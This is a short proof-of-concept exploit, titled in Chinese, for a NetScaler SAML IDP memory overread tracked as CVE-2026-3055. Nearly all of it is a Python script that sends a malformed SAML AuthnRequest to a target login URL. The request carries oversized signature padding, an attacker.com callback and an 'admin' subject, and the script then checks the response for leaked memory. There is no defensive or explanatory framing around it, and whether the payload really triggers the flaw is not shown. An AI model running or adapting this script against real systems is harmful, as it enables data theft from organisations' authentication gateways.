CVE-2026-3055 NetScaler SAML IDP内存越界读取漏洞

import requests # Target URL for SAML IDP endpoint # Replace with actual target URL target_url = "https://target-vip.com/saml/idp/login" # Malformed SAML Request payload designed to trigger memory overread # This payload manipulates the SAML assertion length to bypass validation saml_payload = """ <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_id_1234567890" Version="2.0" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" AssertionConsumerServiceURL="https://attacker.com/callback"> <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://attacker.com</saml:Issuer> <!-- Injecting oversized padding to trigger the vulnerability --> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> <ds:Reference URI="_id_1234567890"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/> <ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==</ds:SignatureValue> </ds:Signature> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">admin</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2026-03-23T21:17:17Z" Recipient="https://attacker.com/callback"/> </saml:SubjectConfirmation> </saml:Subject> </samlp:AuthnRequest> """ # URL encode the payload import urllib.parse encoded_payload = urllib.parse.quote(saml_payload) # Construct the full request URL full_url = f"{target_url}?SAMLRequest={encoded_payload}" try: # Send the malicious request response = requests.get(full_url, verify=False, timeout=10) # Check for anomalies in response headers or content length if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response Content Length: {len(response.content)}") print("[+] Check response content for memory leakage patterns.") # In a real scenario, analyze the response for hex dumps of memory else: print(f"[-] Target returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")